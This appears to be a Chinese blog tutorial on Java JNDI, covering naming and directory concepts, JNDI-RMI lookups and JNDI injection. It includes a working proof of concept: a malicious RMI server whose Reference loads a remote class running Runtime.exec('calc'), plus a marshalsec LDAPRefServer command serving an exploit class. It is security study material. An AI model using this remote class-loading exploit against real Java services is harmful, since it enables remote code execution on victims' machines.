Java安全(九) JNDI

概念

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

JNDI目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

使用JNDI创建目录服务对象代码片段:

// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");

// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:RMI服务可以使用com.sun.jndi.rmi.registry.RegistryContextFactory类来处理。

JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

javax.naming.spi.InitialContextFactory:

copypackage javax.naming.spi;

public interface InitialContextFactory {

  public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;

}

JNDI-RMI远程方法调用

先启动RMI服务,再使用JNDI连接即可调用。

package com.study.jndi;

import com.study.rmi.server.Hello;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class jnditest {
    public static void main(String[] args) {
        String providerURL = "rmi://127.0.0.1:1099";

        // 创建环境变量对象
        Hashtable env = new Hashtable();

        // 设置JNDI初始化工厂类名
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // 设置JNDI提供服务的URL地址
        env.put(Context.PROVIDER_URL, providerURL);

        // 通过JNDI调用远程RMI方法测试
        try {
            // 创建JNDI目录服务对象
            DirContext context = new InitialDirContext(env);

            // 通过命名服务查找远程RMI绑定的RMITestInterface对象
            Hello test = (Hello) context.lookup("rmi://127.0.0.1:1099/hello");
            System.out.println(test.sayHello("CyanM0un"));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

JNDI-协议转换

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

如上述代码中

Hello test = (Hello) context.lookup("rmi://127.0.0.1:1099/hello");

会自动使用rmiURLContext处理RMI请求。

JNDI注入

JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击

RMI + JNDI Reference

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的class中需要实例化类的名称
  3. classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

我们可以通过恶意服务端程序bind注册一个命名引用到Registry注册中心,也就是Reference,当客户端程序lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,攻击者可以在构造方法或者是静态代码等地方加入恶意代码,接着加载并实例化,从而加载远程恶意class实现RCE。

以下例子jdk版本为8u102(另,刚好学到这的时候服务器到期了,好贵,就本地测试了。貌似真实场景下还会有网速等影响,emmm - -)

服务端代码

package com.study.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1099);

        Reference reference = new Reference("test", "test", "http://localhost:80/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
    }
}

恶意代码(test.class)

import java.lang.Runtime;

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

客户端代码

package com.study.jndi;

import javax.naming.InitialContext;

public class ClientTest {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:1099/calc");
    }
}

在这里插入图片描述

debug分析如下

我们跟入该lookup函数

在这里插入图片描述

继续跟进到其后面的lookup函数

在这里插入图片描述

其中蓝标处即为去注册中心调用lookup查找,继续跟进

在这里插入图片描述

var2得到RMI服务IP,地址等信息,关键在于之后的decodeObject函数,跟进

在这里插入图片描述

我们在RMI服务端绑定的是一个Reference对象,如果是Reference对象会进入var1.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务,继续跟进。

在这里插入图片描述

这里要获得factory,跟进getObjectFactoryFromReference

在这里插入图片描述

此处clas = helper.loadClass(factoryName);尝试从本地加载Factory类,如果不存在本地不存在此类,则会从codebase中加载:clas = helper.loadClass(factoryName, codebase);会从远程加载我们恶意class。

在这里插入图片描述

可以看到是通过URLClassLoader加载,服务器也收到请求

在这里插入图片描述

return那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;对我们的恶意类进行一个实例化,进而加载执行恶意代码。

在这里插入图片描述

在这里插入图片描述

对于这种利用方式Java在其JDK 6u132、7u122、8u113中进行了限制,即上面提到的com.sun.jndi.rmi.object.trustURLCodebase默认值变为false

LDAP + JNDI Reference

LDAPRMI同理。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

LDAP

LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。但看了这个解释等于没说,其实也就是一个数据库,可以把它与mysql对比!

特点:

  1. 基于TCP/IP协议
  2. 同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
  3. 相对于mysql的表型存储;不同的是LDAP使用树型存储

树层次分为以下几层:

dn:一条记录的详细位置,由以下几种属性组成

  • dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
  • ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与MYSQL的表主键?)

举个例子一条记录就是 dn=“uid=songtao.xu,ou=oa,dc=example,dc=com”

之前记得看过LDAP注入,有兴趣的可以看看:LDAP注入与防御解析

利用起来是差不多,搭LDAPServer好麻烦(也不太熟…),可以用工具来搭,marshalsec反序列化工具

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExploitClass(恶意类地址) 8088(不加的话默认是1389)

成功弹出

在这里插入图片描述

在这里插入图片描述

分析过程也不再赘述,又LDAP所需的jdk版本稍高于RMI,所以用LDAP命中率较高

高版本jdk下JNDI注入利用

这里有篇文章:如何绕过高版本 JDK 的限制进行 JNDI 注入利用,方法大致如下

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。(日后再加以复现学习)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值